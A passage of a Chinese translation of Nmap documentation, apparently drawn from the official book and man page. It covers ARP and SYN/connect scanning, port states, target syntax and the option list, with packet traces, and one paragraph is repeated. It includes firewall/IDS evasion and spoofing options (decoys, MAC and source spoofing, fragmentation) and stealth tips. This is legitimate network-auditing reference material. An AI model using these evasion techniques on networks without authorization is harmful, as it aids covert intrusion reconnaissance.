)Nmap 最常见的使用场景之一是扫描以太网 LAN。在大多数 LAN 上,尤其是那些使用RFC 1918授予的私有地址范围的 LAN,绝大多数 IP 地址在任何给定时间都未使用。当 Nmap 尝试发送原始 IP 数据包(例如 ICMP 回显请求)时,操作系统必须确定与目标 IP 对应的目标硬件 (ARP) 地址,以便正确寻址以太网帧。这需要它发出一系列 ARP 请求。这在 示例 3.11中显示,其中尝试对本地以太网主机进行 ping 扫描。这
--send-ip
选项告诉 Nmap 发送 IP 级别的数据包(而不是原始以太网),即使它是本地网络。 三个 ARP 请求的Wireshark输出及其时间已粘贴到会话中。例 3.11。离线目标的原始 IP ping 扫描#nmap -n -sn --send-ip 192.168.33.37
Starting Nmap ( http://nmap.org ) 0.000000 00:01:29:f5:27:f2 -> ff:ff:ff:ff:ff:ff ARP Who has 192.168.33.37? 0.999836 00:01:29:f5:27:f2 -> ff:ff:ff:ff:ff:ff ARP Who has 192.168.33.37? 1.999684 00:01:29:f5:27:f2 -> ff:ff:ff:ff:ff:ff ARP Who has 192.168.33.37? Note: Host seems down. If it is really up, but blocking ping probes, try -Pn Nmap done: 1 IP address (0 hosts up) scanned in 2.04 seconds
这个例子花了两秒多时间才完成,因为(Linux)操作系统发送了三个ARP请求,间隔一秒,然后就放弃了主机。鉴于ARP回复通常在几毫秒内完成,多秒的等待是过度的。减少此超时时间对于操作系统供应商来说不是优先事项,因为绝大多数数据包都发送到实际存在的主机。另一方面,当给定目标(例如 10.0.0.0/8)时,Nmap 必须将数据包发送到 1600 万个 IP。即使并行 ping 了许多目标,每个目标的两秒等待也会造成巨大的延迟。
LAN 上的原始 IP ping 扫描还有另一个问题。当发现目标主机如上例所示无响应时,源主机通常会在其内核 ARP 表中添加该目标 IP 的不完整条目。ARP 表空间是有限的,当它填满的时候,一些操作系统反应很差。当 Nmap 用于原始 IP 模式 (
--send-ip
) 时,Nmap 有时必须等待几分钟让 ARP 缓存条目过期,然后才能继续进行主机发现。ARP 扫描通过控制 Nmap 解决了这两个问题。Nmap 发出原始 ARP 请求并自行决定处理重传和超时时间。绕过系统 ARP 缓存。 示例 3.12显示了差异。此 ARP 扫描只需要其 IP 等效时间的十分之一多一点。
示例 3.12。离线目标的 ARP ping 扫描#nmap -n -sn -PR --packet-trace --send-eth 192.168.33.37
Starting Nmap ( http://nmap.org ) SENT (0.0060s) ARP who-has 192.168.33.37 tell 192.168.0.100 SENT (0.1180s) ARP who-has 192.168.33.37 tell 192.168.0.100 Note: Host seems down. If it is really up, but blocking ping probes, try -Pn Nmap done: 1 IP address (0 hosts up) scanned in 0.23 seconds在示例 3.12中,
-PR
或--send-eth
选项都没有任何效果。这是因为 ARP 是扫描 Nmap 检测到的位于本地以太网网络上的以太网主机时的默认扫描类型。这包括传统的有线以太网以及 802.11 无线网络。如上所述,ARP 扫描不仅更有效,而且更准确。主机经常阻止基于 IP 的 ping 数据包,但它们通常无法阻止 ARP 请求或响应,并且仍然在网络上通信。即使指定了不同的 ping 类型(例如-PE
或-PS
),Nmap 也使用 ARP 代替同一 LAN 上的任何目标。如果您绝对不想进行 ARP 扫描,请指定--send-ip
如例 3.11,“离线目标的原始 IP ping 扫描”所示。让 Nmap 控制发送原始以太网帧也就允许 Nmap 控制源 MAC 地址。如果您在安全会议的房间里拥有唯一的 PowerBook,并且从注册到 Apple 的 MAC 地址启动了大规模 ARP 扫描,那么人们可能会转向您的方向。您可以使用该
--spoof-mac
选项来欺骗您的 MAC 地址,如“MAC 地址欺骗”一节中所述。
默认组合
如果没有选择这些主机发现技术,Nmap使用默认值,相当于Windows或特权(root)Unix用户的-PE -PS443 -PA80 -PP参数。细心的读者知道,这意味着向每台机器发送一个ICMP echo请求、一个TCP SYN包、一个TCP ACK包和一个ICMP时间戳请求。这方面的一个例外是,ARP扫描被用于在本地以太网上的任何目标。对于没有特权的Unix shell用户来说,默认情况相当于-PS80,443(针对目标主机的80和443端口的TCP连接调用)。对于安全审计,我建议使用一套更全面的ping类型,例如在 "设计理想的探针组合 "一节中讨论的那些。
-n/-R: 永不解析DNS /始终解析[默认值:有时]
--dns-servers <serv1[,serv2],…>:指定自定义DNS服务器
--system-dns: 使用操作系统的DNS解析
--traceroute: 跟踪到每个主机的跃点路径
扫描技术:
-sS/sT/sA/sW/sM: TCP SYN / Connect()/ ACK / Window / Maimon扫描
-sU: UDP扫描
-sN/sF/sX: TCP Null,FIN和Xmas扫描
--scanflags <flags>:自定义TCP扫描标志
-sI <zombie host[:probeport]>:空闲扫描也叫僵尸扫描
-sY/sZ: SCTP INIT / COOKIE-ECHO扫描
-sO: IP协议扫描
-b <FTP relay host>: FTP跳转扫描
端口说明和扫描顺序:
-p <port ranges>:仅扫描特定端口
例如: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
--exclude-ports <port ranges>:从扫描中排除指定的端口
-F: 快速模式-扫描的端口少于默认扫描
-r: 连续扫描端口-不要随机化
--top-ports <ratio>:扫描<number>个最常见的端口
--port-ratio <ratio>:比<比率>更常见的扫描端口
服务/版本检测:
-sV: 探测打开的端口以确定服务/版本信息
--version-intensity <level>:设置从0(浅)到9(尝试所有探针)
--version-light: 限制为最可能的探针(强度2)
--version-all: 尝试每个探针(强度9)
--version-trace: 显示详细的版本扫描活动(用于调试)
脚本扫描:
-sC: 等效于--script = default
--script=<Lua scripts>: <Lua scripts>是用逗号分隔的目录,脚本文件或脚本类别的列表
--script-args=<n1=v1,[n2=v2,…]>: 提供脚本参数
--script-args-file=filename: 在文件中提供NSE脚本参数
--script-trace: 显示所有发送和接收的数据
--script-updatedb: 更新脚本数据库。
--script-help=<Lua scripts>:显示有关脚本的帮助。<Lua脚本>是用逗号分隔的脚本文件或脚本类别的列表。
操作系统检测:
-O: 启用操作系统检测
-osscan-limit: 将操作系统检测限制在有希望的目标上
-osscan-guess: 更加积极地推测操作系统
时间和性能:
使用<time>的选项以毫秒为单位,除非附加` s `(秒)、´m´(分钟)或´h´(小时)的值(例如30m)。
-T<0-5>:设置时间模板(越高越快)
--min-hostgroup/max-hostgroup <size>:并行主机扫描组大小
--min-parallelism/max-parallelism <numprobes>:探针并行化
--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>:指定探针往返时间。
--max-retries <tries>:端口扫描探针重传的上限次数。
--host-timeout <time>: 多久后放弃目标
--scan-delay/--max-scan-delay <time>:调整探针之间的延迟
--min-rate <number>:发送数据包的速度不低于每秒<number>
--max-rate <number>:发送数据包的速度不超过每秒<number>
防火墙/IDS规避和欺骗:
-f;--mtu <val>:段数据包(可选,带有指定的MTU)
-D <decoy1,decoy2[,ME],…>:用诱饵掩盖扫描
-S <IP Address>:欺骗源地址
-e <iface>:使用指定的接口
-g/--source-port <portnum>:使用给定的端口号
--proxies <url1,[url2],…>:通过HTTP / SOCKS4代理中继连接
--data <hex string>:将自定义有效负载附加到已发送的数据包
--data-string <string>:将自定义ASCII字符串附加到发送的数据包
--data-length <num>:将随机数据附加到发送的数据包
--ip-options <options>:发送具有指定IP选项的数据包
--ttl <val>:设置IP生存时间字段
--spoof-mac <mac address/prefix/vendor name>:欺骗您的MAC地址
--badsum: 发送带有伪造的TCP/UDP/SCTP校验和的数据包
输出:
-oN/-oX/-oS/-oG <file>:以普通,XML,s | <rIpt kIddi3和Grepable格式分别输出扫描到给定的文件名。
-oA <basename>:一次输出三种主要格式
-v: 提高详细程度(使用-vv或更多以获得更好的效果)
-d: 增加调试级别(使用-dd或更多以获得更大的效果)
--reason: 显示端口处于特定状态的原因
--open: 仅显示开放(或可能开放)的端口
--packet-trace: 显示所有发送和接收的数据包
--iflist: 打印主机接口和路由(用于调试)
--append-output: 追加到指定的输出文件中,而不是将其删掉
--resume <filename>:恢复中止的扫描
--stylesheet <path/URL>: 将XML输出转换为HTML的XSL样式表
--webxml: 参考Nmap.Org的样式表,以获得更多的可移植XML
--no-stylesheet: 防止将XSL样式表与XML输出联系起来
杂项:
-6:启用IPv6扫描
-A: 启用操作系统检测、版本检测、脚本扫描和跟踪路由
--datadir <dirname>:指定自定义Nmap数据文件位置
--send-eth/--send-ip: 使用原始以太网帧或IP数据包发送
--privileged: 假设用户具有完全权限
--unprivileged: 假设用户缺少原始套接字权限
-V:打印版本号
-h:打印帮助摘要页
例:
nmap -v -A scanme.nmap.org
nmap -v -sn 192.168.0.0/16 10.0.0.0/8
nmap -v -iR 10000 -Pn -p 80
更多选项和示例请参见手册页面(https://nmap.org/book/man.html)
目标说明:
Nmap命令行上所有不是选项(或选项参数)的东西都被当作目标主机。最简单的情况是指定一个用于扫描的目标IP地址或主机名。
将主机名作为目标时,将通过域名系统(DNS)对其进行解析,以确定要扫描的IP地址。 如果名称解析为多个IP地址,则仅扫描第一个IP地址。 要使Nmap扫描所有解析的地址而不是仅扫描第一个地址,请使用--resolve-all选项。
有时您希望扫描相邻主机的整个网络。 为此,Nmap支持CIDR样式的寻址。 您可以将/ numbits附加到IP地址或主机名,Nmap将扫描每个前num位与给定参考IP或主机名相同的IP地址。 例如,192.168.10.0 / 24将扫描192.168.10.0(二进制:11000000 10101000 00001010 00000000)和192.168.10.255(二进制:11000000 10101000 00001010 11111111)之间的256个主机。 192.168.10.40/24将扫描完全相同的目标。 假定主机scanme.nmap.org的IP地址为64.13.134.52,则scanme.nmap.org/16将扫描64.13.0.0和64.13.255.255之间的65,536个IP地址。 允许的最小值为/0,表示对整个Internet进行扫描。 IPv4的最大值是/ 32,因为所有地址位都是固定的,所以它仅扫描命名的主机或IP地址。 IPv6的最大值是/ 128,它执行相同的操作。
CIDR表示法简短,但并不总是足够灵活。例如,您可能要扫描192.168.0.0/16,但跳过任何以.0或.255结尾的IP,因为它们可能用作子网网络和广播地址。 Nmap通过八位位组范围寻址支持此功能。您可以为每个八位位组指定一个逗号分隔的数字或范围列表,而不是指定一个普通的IP地址。例如,192.168.0-255.1-254将跳过以.0或.255结尾的范围内的所有地址,而192.168.3-5,7.1将扫描四个地址192.168.3.1、192.168.4.1、192.168.5.1和192.168.7.1。范围的任何一边都可以省略;默认值为左侧0和右侧255。使用 - 本身与 0-255 相同,但是记住在第一个八位位组中使用0-,这样目标规范看起来就不像命令行选项了。范围不需要限制在最后的八位位组上:说明 0-255.0-255.13.37将对以13.37结尾的所有IP地址执行Internet范围内的扫描。这种广泛的采样对于Internet调查和研究很有用。
IPv6地址可以通过其完全合格的IPv6地址或主机名来指定,也可以用CIDR符号表示子网。目前,IPv6还不支持八位数范围。
具有非全局作用域的IPv6地址必须具有区域ID后缀。 在Unix系统上,这是一个百分号,后跟一个接口名称; 完整的地址可能是fe80 :: a8bb:ccff:fedd:eeff%eth0。 在Windows上,使用接口索引号代替接口名称:fe80 :: a8bb:ccff:fedd:eeff%1。 您可以通过运行命令netsh.exe interface ipv6 show interface查看接口索引列表。
Nmap在命令行上接受多个主机规范,并且它们不必是同一类型。 命令nmap scanme.nmap.org 192.168.0.0/8 10.0.0,1,3-7.-可以满足您的要求。
虽然通常在命令行上指定目标,但是以下选项也可用于控制目标的选择:
--disable-arp-ping(No ARP or ND Ping)
即使使用了其他主机发现选项(例如-Pn或-PE),Nmap通常也会对本地连接的以太网主机执行ARP或IPv6邻居发现(ND)发现。 要禁用此隐式行为,请使用--disable-arp-ping选项。
默认行为通常更快,但是此选项在使用代理ARP的网络上很有用,在该网络中,路由器以推测方式答复所有ARP请求,从而根据ARP扫描使每个目标都处于启动状态。
--discovery-ignore-rst
在某些情况下,防火墙可能会欺骗TCP重置(RST)响应,以响应对未占用或不允许的地址探测。 由于Nmap通常认为RST答复可以证明目标已启动,因此可能会浪费时间扫描不存在的目标。 使用--discovery-ignore-rst可以防止Nmap在主机发现期间考虑这些答复。 您可能需要选择其他主机发现选项,以确保在这种情况下不会错过目标。
--traceroute(跟踪主机的路径)
追踪是在扫描后进行的,使用扫描结果的信息来确定最有可能到达目标的端口和协议。它适用于所有扫描类型,除了连接扫描(-sT)和空闲扫描(-sI)。所有追踪都使用Nmap的动态时序模型,并且是平行进行的。
Traceroute的工作原理是发送低TTL(生存时间)的数据包,以尝试从扫描器和目标主机之间的中间跃点中引出ICMP超时消息。 标准traceroute实施以TTL为1开始,并递增TTL,直到到达目标主机为止。 Nmap的跟踪路由以较高的TTL开始,然后递减TTL直到达到零。 向后执行此操作可使Nmap使用巧妙的缓存算法来加快对多个主机的跟踪。 平均而言,根据网络状况,Nmap每台主机少发送5-10个数据包。 如果正在扫描单个子网(即192.168.0.0/24),则Nmap可能只需要向大多数主机发送两个数据包。
-n(不进行DNS解析)
禁用所有 DNS 解析。 告诉Nmap永远不要对找到的活动IP地址进行DNS解析。 这些选项对于 ping 扫描特别重要,因为 DNS 解析会极大地影响扫描时间。即使使用Nmap的内置并行stub解析器,DNS也会变慢。
-R(所有目标的DNS解析)
启用所有主机的 DNS 查询,甚至是关闭的主机。默认行为是将 DNS 解析限制为活动主机。告诉Nmap始终对目标IP地址执行反向DNS解析。 通常,反向DNS仅针对响应(在线)主机执行。
--resolve-all(扫描每个解析地址)
如果主机名目标解析为多个地址,请扫描所有地址。 默认行为是仅扫描第一个解析的地址。 无论如何,将仅扫描相应地址族中的地址:默认情况下为IPv4,带有-6的IPv6。
--system-dns(使用系统DNS解析器)
默认情况下,Nmap通过将查询直接发送到主机上配置的dns名称服务器来反向解析IP地址,然后侦听响应。 并行执行许多请求(通常是几十个)以提高性能。 指定此选项可改为使用系统解析器(通过getnameinfo调用,一次使用一个IP)。 除非您在Nmap并行dns解析器中发现错误(如果这样做了请告诉我们),这速度较慢且很少有用。 系统解析器始终用于正向查找(从主机名获取IP地址)。
--dns-servers server1[,server2[,…]]( 用于反向DNS查询的服务器)
默认情况下,Nmap通过resolv.conf文件(Unix)或注册表(Win32)确定DNS服务器(用于rDNS解析)。 或者,您可以使用此选项来指定替代服务器。 如果使用--system-dns,则不支持该选项。 使用多个DNS服务器通常比只查询一个服务器更快、更隐蔽。通过指定目标IP空间的所有权威服务器,通常可以获得最佳性能。这个选项也可以提高隐蔽性,因为你的请求可以从互联网上几乎任何递归的DNS服务器上弹回。
扫描私有网络时,此选项也很方便。有时只有少数名称服务器提供正确的rDNS信息,您甚至可能不知道它们在哪里。 您可以在网络上扫描端口53(可以使用版本检测),然后尝试Nmap列表扫描(-sL),用-dns-servers一次一个指定每个名称服务器,直到您找到一个能工作的。
如果DNS响应超过了UDP数据包的大小,这个选项可能不会被执行。 在这种情况下,我们的DNS解析器将尽最大努力从截断的数据包中提取响应,如果失败,它将回退到使用系统解析器。 同样,包含CNAME别名的响应将回退到系统解析器。
端口扫描基础:
虽然Nmap的功能多年来有所增长,但它最初是一个高效的端口扫描器,这仍然是它的核心功能。 简单命令nmap target扫描主机目标上的1,000个TCP端口。 传统上,许多端口扫描程序将所有端口都设置为打开或关闭状态,而Nmap则更为精细。 将端口分为六个状态:打开,关闭,已过滤,未过滤,打开|过滤 或 关闭|过滤。
这些状态不是端口本身的固有属性,而是描述Nmap如何看待它们。 例如,从与目标服务器相同的网络进行的Nmap扫描可能会将端口135 / tcp显示为打开,而在Internet上同时使用相同选项进行的扫描可能会将该端口显示为已过滤。
Nmap识别的六个端口状态
Open
应用程序正在此端口上积极接受TCP连接,UDP数据报或SCTP关联。 查找这些通常是端口扫描的主要目标。 具有安全意识的人知道,每个开放端口都是攻击的途径。 攻击者和测试人员想利用开放的端口,而管理员试图用防火墙关闭或保护它们,而又不妨碍合法用户。 对于非安全性扫描,开放端口也很有趣,因为它们显示了可在网络上使用的服务。 在你对一个开放的端口过于兴奋之前,请注意,有可能应用程序是用一个TCP包装器(tcpd)来保护的,或者应用程序本身被配置为只服务于被批准的客户IP地址。这种情况下,仍然比关闭的端口留下更多的攻击面。
Closed
一个关闭的端口是可以访问的(它接收并响应Nmap探测数据包),但是没有应用程序在监听它。 它们有助于显示IP地址上主机是up的(主机发现或ping扫描),并且可以作为操作系统检测的一部分。因为关闭的端口是可以到达的,所以以后可能值得扫描,以防有些端口又打开了。 管理员可能要考虑使用防火墙阻止此类端口。 然后它们将以过滤状态出现,下来再讨论。
Filtered
Nmap无法确定端口是否打开,因为数据包过滤会阻止其探针到达端口。 过滤可以来自专用防火墙设备,路由器规则或基于主机的防火墙软件。 这些端口使攻击者感到沮丧,因为它们提供的信息很少。 有时,它们以ICMP错误消息响应,例如类型3代码13(目标无法访问:在管理上被禁止通信),但是仅丢弃探针而不响应的过滤器更为常见。 这迫使Nmap重试几次,以防万一由于网络拥塞而不是过滤导致探针被丢弃。 这会大大降低扫描速度。
Unfiltered
未过滤状态意味着可以访问端口,但是Nmap无法确定端口是打开还是关闭。 仅用于映射防火墙规则集的ACK扫描将端口分类为此状态。 使用其他扫描类型(例如窗口扫描,SYN扫描或FIN扫描)扫描未过滤的端口可能有助于解决端口是否打开的问题。(译者注:因为无论如何都将收到rst报文)
Open|filtered
当Nmap无法确定端口是打开还是已过滤时,Nmap会将端口置于此状态。 对于打开端口不响应的扫描类型,会发生这种情况。 缺乏响应还可能意味着数据包过滤器丢弃了探针或其引发的任何响应。 因此,Nmap无法确定端口是打开还是被过滤。 UDP,IP协议,FIN,NULL和Xmas扫描以这种方式对端口进行分类。
Closed|filtered
当Nmap无法确定端口是关闭还是过滤时,将使用此状态。它仅用于在“TCP空闲扫描(-sI)”一节中讨论的IP ID空闲扫描。(译者注:这里的“TCP空闲扫描(-sI)”一节指的是官方书籍NNS中的内容)
译者注:端口扫描包含端口扫描所用技术比如syn扫描和端口号
端口扫描技术:
作为一个从事汽车维修的新手,我可以挣扎几个小时,试图让我的基本工具(锤子、胶带、扳手等)适应手头的任务。 当我惨遭失败,把我的破车拖到一个真正的机械师那里时,他总是在一个巨大的工具箱里翻来覆去,直到拿出一个完美的小工具,使工作看起来毫不费力。 端口扫描的技术与此类似。 专家了解数十种扫描技术,并为给定任务选择适当的一种(或组合)。 另一方面,经验不足的用户和脚本小子则尝试使用默认的SYN扫描解决所有问题。 由于Nmap是免费的,掌握端口扫描的唯一障碍是知识。这当然胜过汽车世界,在那里可能需要很高的技术来确定您需要一个支柱弹簧压缩机,然后您还得为它支付数千美元。
大多数扫描类型仅对特权用户可用。 这是因为它们可以发送和接收原始数据包,这需要在Unix系统上进行root访问。 当Npcap已经被加载到操作系统中时,虽然在windows平台上Nmap有时适用于无特权的用户, 但是建议在Windows上使用管理员账户。当Nmap在1997年发布时,需要root特权是一个严格的限制,因为许多用户只能访问共享的shell帐户。 现在,世界已经不同了。 电脑更便宜,人们可以一直在线直接访问互联网,台式Unix系统(包括Linux和Mac OS X)很普遍。 现在可以使用Windows版本的Nmap,使其可以在更多台式机上运行。 由于所有这些原因,用户较少需要通过有限的共享Shell帐户运行Nmap。 这是幸运的,因为特权选项使Nmap更加强大和灵活。
尽管Nmap试图产生准确的结果,但请记住,其所有洞察力都是基于目标计算机(或它们前面的防火墙)返回的数据包的。 这样的主机可能是不可信的,并发送旨在混淆或误导Nmap的响应。 更常见的是不符合RFC标准的主机,它们对Nmap探测没有应有的反应。 FIN,NULL和Xmas扫描特别容易受到此问题的影响。 此类问题特定于某些扫描类型,因此将在各个扫描类型条目中进行讨论。
本节介绍了Nmap支持的十几种端口扫描技术。 一次只能使用一种方法,除了UDP扫描(-sU)和任何一种SCTP扫描类型(-sY,-sZ)可以与任何一种TCP扫描类型结合使用。为了帮助记忆,端口扫描类型选项的形式是-s<C>,其中<C>是扫描名称中的一个突出字符,通常是第一个。这方面的一个例外是被废弃的FTP反弹扫描(-b)。默认情况下,Nmap执行SYN扫描,但是如果用户没有适当的权限发送原始数据包(在Unix上需要root权限),它会用connect扫描代替。 在本节列举的扫描中,非特权用户只能执行连接和FTP反弹扫描。
-sS TCP SYN 扫描、隐蔽扫描、半开扫描
出于充分的原因,SYN扫描是默认的也是最受欢迎的扫描选项。 它可以快速执行,在不受限制性防火墙阻碍的快速网络上每秒扫描数千个端口。 由于它从来没有完成TCP连接,因此它也相对不引人注意和隐秘。 SYN扫描可用于任何兼容的TCP栈,而不必像Nmap的FIN / NULL / Xmas,Maimon和空闲扫描 它还可以清晰可靠地区分打开,关闭和过滤状态。
该技术通常称为半开扫描,因为您没有打开完整的TCP连接。 您发送一个SYN数据包,就好像您要打开一个真实的连接,然后等待响应一样。 SYN / ACK表示端口正在监听(打开),而RST(复位)则表示未监听。 如果在几次重传后仍未收到响应,则将该端口标记为已过滤。 如果收到ICMP无法访问的错误(类型3,代码0、1、2、3、9、10或13),该端口也将标记为已过滤。 如果收到一个SYN数据包(无ACK标志)作为响应,则该端口也被认为是开放的。 这可能是由于一种极为罕见的TCP功能(称为同时打开或拆分握手连接)(请参阅https://nmap.org/misc/split-handshake.pdf)。
SYN扫描可以通过给Nmap传递-sS选项来请求。它需要原始数据包权限,当权限可用时是默认的TCP扫描方式。所以当以root或管理员身份运行Nmap时,-sS通常被省略。这个默认的SYN扫描行为在例5.1中显示,它在三个主要状态中的每一个都对应一个端口。
例 5.1。显示三个端口状态的 SYN 扫描
虽然SYN扫描在没有任何底层TCP知识的情况下也很容易使用,但在解释不寻常的结果时,理解该技术是有帮助的。幸运的是,可怕的黑帽黑客Ereet Hagiwara从恐吓日本Windows用户中抽身出来,在数据包层面为我们图解了例5.1 SYN扫描。首先,图5.2显示了针对开放22号端口的行为。
图 5.2。开放端口 22 的 SYN 扫描
如这个例子所示,Nmap首先向22号端口发送一个设置了SYN标志的TCP数据包(如果您忘记了数据包头是什么样的,请看图2,"TCP头")。这是任何合法连接尝试的TCP三次握手的第一步。
由于目标端口是开放的,Scanme采取第二步,发送一个带有SYN和ACK标志的响应。
在一个正常的连接中,Ereet的机器(名为krad)会通过发送一个ACK包确认SYN/ACK来完成三方握手。
Nmap不需要这样做,因为SYN/ACK响应已经告诉它这个端口是开放的。如果Nmap完成了连接,它将不得不担心关闭它。这通常涉及另一次握手,使用FIN包而不是SYN。所以ACK是个坏主意,但还是要做一些事情。
如果SYN/ACK被完全忽略,Scanme会认为它被丢弃并继续重新发送。由于我们不想建立一个完整的连接,正确的反应是一个RST包,如图所示。这告诉Scanme忘记(重置)这个尝试的连接。Nmap可以很容易地发送这个RST包,但它实际上不需要。运行在krad上的操作系统也收到了SYN/ACK,它没有想到,因为Nmap自己制作了SYN探针。所以操作系统用一个RST包来响应这个意外的SYN/ACK。本章描述的所有RST报文也有ACK位,因为它们总是为了响应(和确认)一个收到的报文而发送。所以该位没有明确显示在RST数据包中。
由于三次握手从未完成,SYN扫描有时被称为半开放扫描。
图5.3显示Nmap如何确定113号端口是关闭的。这比开放的情况更简单。第一步总是一样的-Nmap向Scanme发送SYN探针。但没有收到SYN/ACK,而是返回一个RST。这就解决了问题--端口被关闭了。关于这个端口没有必要再进行通信。
图 5.3。关闭端口 113 的 SYN 扫描
最后,Ereet 在图 5.4。最初的 SYN 像往常一样首先发送,但 Nmap 没有看到任何回复。响应可能很慢。根据之前的响应(或时间默认值),Nmap 知道要等待多长时间并最终放弃接收。无响应的端口通常会被过滤(被防火墙设备阻止,或者主机可能已关闭),但这一测试并不能确定。也许端口是打开的,但探测或响应只是被丢弃了。网络可能不稳定。所以 Nmap 通过重新发送 SYN 探测再次尝试。在又一个超时时间之后,Nmap 放弃并标记端口
filtered
。在这种情况下,只尝试了一次重传。如“扫描代码和算法”部分所述, Nmap 会保持仔细的丢包统计,并且在扫描不太可靠的网络时会尝试更多的重传。最后,Ereet在图5.4中向我们展示了一个被过滤的端口如何出现在Nmap面前。像往常一样,最初的SYN被首先发送,但是Nmap没有看到回复。响应可能只是很慢。从以前的响应(或计时器默认值)来看,Nmap知道要等多久,并最终放弃接收。一个无响应的端口通常是被过滤的(被防火墙设备阻止,或者主机可能已关闭),但这一个测试并不是决定性的。也许该端口是开放的,但探针或响应只是被丢弃。网络可能是不稳定的。所以Nmap通过重新发送SYN探针再次尝试。在又一次超时后,Nmap放弃了,并把该端口标记为过滤。在这种情况下,只尝试了一次重传。正如在 "扫描代码和算法 "一节中所描述的,Nmap保持细致的丢包统计,当扫描不太可靠的网络时,会尝试更多的重传。
图 5.4。过滤端口 139 的 SYN 扫描
如果Nmap收到某些ICMP错误信息,它也会认为一个端口被过滤。表5.2显示了Nmap如何根据对SYN探针的响应来分配端口状态。
表 5.2。Nmap 如何解释对 SYN 探测的响应
探测响应 指定状态 TCP SYN/ACK 响应 open
TCP RST 响应 closed
未收到响应(即使在重传之后) filtered
ICMP 不可达错误(类型 3,代码 1、2、3、9、10 或 13) filtered
虽然本节中的漂亮插图很有用,但当您指定
--packet-trace
选项以及任何其他所需的命令行标志时,Nmap 会准确报告它在数据包级别所做的事情。当Ereet不在身边时,这是新手了解Nmap行为的一个好方法。当 Nmap 产生他们不期望的结果时,即使是高级用户也会发现它很方便。您可能还想用-d
(或甚至-d5)增加调试级别。然后扫描您的目的所需的最少端口和主机数量,否则您最终可能会得到数百万条输出行。 例 5.2在启用数据包跟踪的情况下重复 Ereet 的三个端口 SYN 扫描(为简洁起见,输出已被编辑)。阅读命令行,然后通过在阅读前弄清楚将发送哪些数据包来测试自己。然后一旦你读到 "SYN隐蔽扫描花了1.25s "的跟踪,你应该从RCVD行中知道端口状态表会是什么样子,再继续读下去。例 5.2。用--packet-trace了解 SYN扫描krad#nmap -d --packet-trace -p22,113,139 scanme.nmap.org
Starting Nmap ( http://nmap.org ) SENT (0.0130s) ICMP krad > scanme echo request (type=8/code=0) ttl=52 id=1829 SENT (0.0160s) TCP krad:63541 > scanme:80 A iplen=40 seq=91911070 ack=99850910 RCVD (0.0280s) ICMP scanme > krad echo reply (type=0/code=0) iplen=28 We got a ping packet back from scanme: id = 48821 seq = 714 checksum = 16000 massping done: num_hosts: 1 num_responses: 1 Initiating SYN Stealth Scan against scanme.nmap.org (scanme) [3 ports] at 00:53 SENT (0.1340s) TCP krad:63517 > scanme:113 S iplen=40 seq=10438635 SENT (0.1370s) TCP krad:63517 > scanme:22 S iplen=40 seq=10438635 SENT (0.1400s) TCP krad:63517 > scanme:139 S iplen=40 seq=10438635 RCVD (0.1460s) TCP scanme:113 > krad:63517 RA iplen=40 seq=0 ack=10438636 RCVD (0.1510s) TCP scanme:22 > krad:63517 SA iplen=44 seq=75897108 ack=10438636 SENT (1.2550s) TCP krad:63518 > scanme:139 S iplen=40 seq=10373098 win=3072 The SYN Stealth Scan took 1.25s to scan 3 total ports. Nmap scan report for scanme.nmap.org (64.13.134.52) PORT STATE SERVICE 22/tcp open ssh 113/tcp closed auth 139/tcp filtered netbios-ssn Nmap done: 1 IP address (1 host up) scanned in 1.40 seconds
SYN扫描一直被称为隐蔽扫描,因为它比TCP连接扫描(接下来讨论)更隐蔽,后者是Nmap发布前最常见的扫描类型。尽管有这个称呼,不要指望默认的SYN扫描能在敏感网络中不被发现。广泛部署的入侵检测系统甚至个人防火墙都有能力检测到默认SYN扫描。第10章 "检测和颠覆防火墙和入侵检测系统 "中展示了更有效的隐蔽扫描技术。
-sT TCP 连接扫描、全连接扫描
如果不选择SYN扫描,则TCP连接扫描是默认的TCP扫描类型。 Unix 用户没有原始数据包特权时就是这种情况,因为 SYN 扫描在这些情况下不起作用。 Nmap不会像大多数其他扫描类型那样写入原始数据包,而是通过发出与该选项同名的connect系统调用来要求底层操作系统与目标计算机和端口建立连接去扫描机器。 这是Web浏览器,P2P客户端和大多数其他启用网络的应用程序用来建立连接的同一高级系统调用。 它是称为Berkeley Sockets API的编程接口的一部分。 Nmap使用此API来获取有关每次连接尝试的状态信息,而不是直接读取原始数据包响应。这和FTP反弹扫描(称为 "TCP FTP反弹扫描(-b) "的部分)是唯一对非特权用户可用的扫描类型。
如果可以使用SYN扫描,通常是更好的选择。 与原始数据包相比,Nmap对高级connect调用的控制较少,因此效率较低。 系统调用完成与打开的目标端口的连接,而不是执行SYN扫描所做的半开复位。 这不仅需要更长的时间,并且需要更多的数据包才能获得相同的信息,而且目标计算机更有可能记录此连接。 一个像样的IDS会抓住这两种情况(译者注:这里的两种情况是指半开和完整的tcp连接),但大多数机器没有这样的报警系统。 当Nmap连接然后在不发送数据的情况下关闭连接时,普通Unix系统上的许多服务都会在syslog日志中添加一条记录,有时还会显示一条隐晦的错误信息。当这种情况发生时,真正可悲的是服务可能崩溃,尽管这种情况并不常见。一个管理员如果在她的日志中看到来自一个系统的一堆连接尝试,应该知道她已经被连接扫描了。
图5.5显示了对scanme.nmap.org的22号开放端口进行的连接扫描。记得在图5.2 "开放端口22的SYN扫描 "中,这只需要三个数据包。对一个开放端口的确切行为取决于Nmap运行的平台和另一端监听的服务,但是这个5个数据包的例子是典型的。
图 5.5。连接扫描开放端口 22
前两个步骤(SYN 和 SYN/ACK)与 SYN 扫描完全相同。然后,krad 不会使用 RST 数据包中止半开连接,而是使用自己的 ACK 数据包确认 SYN/ACK,从而完成连接。
SSH-1.99-OpenSSH_3.1p1\n
在这种情况下,Scanme 甚至有时间通过现在打开的连接发送其 SSH 横幅字符串 ( )。一旦 Nmap 从其主机操作系统听到连接成功,它就会终止连接。TCP 连接通常以涉及 FIN 标志的另一次握手结束,但 Nmap 要求主机操作系统立即使用 RST 数据包终止连接。虽然这个连接扫描的例子所花的数据包几乎是SYN扫描的两倍,但带宽的差异很少如此巨大。大规模扫描中的绝大多数端口将被关闭或被过滤。这些数据包追踪与图5.3 "SYN扫描关闭的113端口 "和图5.4 "SYN扫描过滤的139端口 "中对SYN扫描的描述相同。只有开放的端口才会产生更多的网络流量。
连接扫描的输出与SYN扫描没有明显的区别。例5.3显示Scanme的连接扫描。-sT选项可以省略,因为Nmap是从一个非特权账户运行的,所以连接扫描是默认类型。
例 5.3。连接扫描示例krad~>nmap -T4 -sT scanme.nmap.org
